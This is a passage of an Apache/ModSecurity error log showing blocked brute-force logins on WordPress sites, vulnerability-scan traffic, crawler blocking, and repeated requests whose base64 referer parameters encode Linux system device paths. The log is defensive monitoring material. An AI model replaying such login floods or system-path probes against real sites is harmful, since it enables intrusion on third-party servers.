succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xLV-dFiaX9AtWiQuIgAAASw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:36.149027 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjA5 [Sat Jun 13 18:24:36.149336 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjA5 [Sat Jun 13 18:24:36.149560 2026] [security2:error] [pid 715691:tid 715719] [remote 17.22.237.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30xLV-dFiaX9AtWiQuJAABPgk"] [Sat Jun 13 18:24:36.314367 2026] [security2:error] [pid 646876:tid 646901] [remote 17.246.15.45:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 45.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30xNyTkdrNlD40tSHaZgAAbxY"] [Sat Jun 13 18:24:36.352504 2026] [security2:error] [pid 715691:tid 715962] [client 159.223.112.69:59662] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xLV-dFiaX9AtWiQuJgAAAYM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:36.531974 2026] [security2:error] [pid 715691:tid 715753] [remote 198.57.247.165:36144] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 165.247.57.198.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yoozu.fr"] [uri "/xmlrpc.php"] [unique_id "ai30xLV-dFiaX9AtWiQuKAABUCs"] [Sat Jun 13 18:24:36.532211 2026] [security2:error] [pid 715691:tid 715911] [client 198.57.247.165:36144] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "yoozu.fr"] [uri "/xmlrpc.php"] [unique_id "ai30xLV-dFiaX9AtWiQuKAABUCs"] [Sat Jun 13 18:24:36.544913 2026] [access_compat:error] [pid 715691:tid 715776] [remote 57.141.14.105:40886] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:36.545264 2026] [access_compat:error] [pid 715691:tid 715776] [remote 57.141.14.105:40886] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:36.571713 2026] [security2:error] [pid 646876:tid 647063] [client 159.223.112.69:59668] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xNyTkdrNlD40tSHaagAAADc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:36.661547 2026] [security2:error] [pid 715691:tid 715868] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/file/fgetss_basic1.phpt"] [unique_id "ai30xLV-dFiaX9AtWiQuLgAAASU"] [Sat Jun 13 18:24:36.684806 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:24:36.685107 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:24:36.783278 2026] [security2:error] [pid 715691:tid 715961] [client 114.119.135.152:47833] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "uscblogistics.com"] [uri "/wkk3/81suma-colleeb2d812ah2a-2111bb64a-jkk"] [unique_id "ai30xLV-dFiaX9AtWiQuMAAAAYI"], referer: http://uscblogistics.com/wkk3/81suma-colleeb2d812ah2a-2111bb64a-jkk [Sat Jun 13 18:24:36.790562 2026] [security2:error] [pid 715691:tid 715923] [client 159.223.112.69:59678] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xLV-dFiaX9AtWiQuMQAAAVw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:36.950099 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.26:46986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:36.950546 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.26:46986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:37.011892 2026] [security2:error] [pid 715691:tid 715901] [client 159.223.112.69:59686] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xbV-dFiaX9AtWiQuOQAAAUY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:37.231250 2026] [security2:error] [pid 715691:tid 715900] [client 159.223.112.69:59688] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xbV-dFiaX9AtWiQuQQAAAUU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:37.236740 2026] [security2:error] [pid 715691:tid 715933] [client 210.217.96.217:63867] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30xbV-dFiaX9AtWiQuQAAAAWY"] [Sat Jun 13 18:24:37.236890 2026] [security2:error] [pid 715691:tid 715933] [client 210.217.96.217:63867] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30xbV-dFiaX9AtWiQuQAAAAWY"] [Sat Jun 13 18:24:37.247375 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MTU= [Sat Jun 13 18:24:37.247829 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MTU= [Sat Jun 13 18:24:37.377887 2026] [security2:error] [pid 646876:tid 646891] [remote 124.156.212.23:61720] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.212.156.124.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "protectourgreenbelt.com"] [uri "/wp-login.php"] [unique_id "ai30xdyTkdrNlD40tSHafwAACQw"] [Sat Jun 13 18:24:37.438177 2026] [security2:error] [pid 715691:tid 715778] [remote 17.246.23.194:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 194.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30xbV-dFiaX9AtWiQuSAABNEM"] [Sat Jun 13 18:24:37.450402 2026] [security2:error] [pid 715691:tid 715947] [client 159.223.112.69:59700] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xbV-dFiaX9AtWiQuSQAAAXQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:37.457598 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.67:25303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:37.457878 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.67:25303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:37.534501 2026] [access_compat:error] [pid 715691:tid 715746] [remote 57.141.14.24:38430] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:37.534818 2026] [access_compat:error] [pid 715691:tid 715746] [remote 57.141.14.24:38430] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:37.669031 2026] [security2:error] [pid 715691:tid 715930] [client 159.223.112.69:59708] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xbV-dFiaX9AtWiQuUQAAAWM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:37.713117 2026] [security2:error] [pid 646876:tid 646958] [remote 17.22.245.21:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30xdyTkdrNlD40tSHahgAAek8"] [Sat Jun 13 18:24:37.750241 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:24:37.750518 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:24:37.891491 2026] [security2:error] [pid 715691:tid 715844] [client 159.223.112.69:59716] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xbV-dFiaX9AtWiQuVwAAAQ0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:38.008357 2026] [access_compat:error] [pid 646876:tid 646922] [remote 57.141.14.38:48019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:38.013345 2026] [access_compat:error] [pid 646876:tid 646922] [remote 57.141.14.38:48019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:38.021923 2026] [security2:error] [pid 646876:tid 647000] [remote 17.241.219.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30xtyTkdrNlD40tSHajQAAFnk"] [Sat Jun 13 18:24:38.114589 2026] [security2:error] [pid 646876:tid 647061] [client 159.223.112.69:59730] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xtyTkdrNlD40tSHajwAAADU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:38.299331 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:24:38.299616 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:24:38.305349 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.53:25734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:38.305604 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.53:25734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:38.334172 2026] [security2:error] [pid 646876:tid 647072] [client 159.223.112.69:59746] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30xtyTkdrNlD40tSHalgAAAEA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:38.474359 2026] [security2:error] [pid 646876:tid 646989] [remote 17.241.75.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30xtyTkdrNlD40tSHamgAAV24"] [Sat Jun 13 18:24:38.645070 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.12:29800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:38.645519 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.12:29800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:38.706299 2026] [access_compat:error] [pid 715691:tid 715737] [remote 57.141.14.39:38536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:38.706720 2026] [access_compat:error] [pid 715691:tid 715737] [remote 57.141.14.39:38536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:38.724603 2026] [security2:error] [pid 715691:tid 715760] [remote 17.22.253.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30xrV-dFiaX9AtWiQuagABPDE"] [Sat Jun 13 18:24:38.817353 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 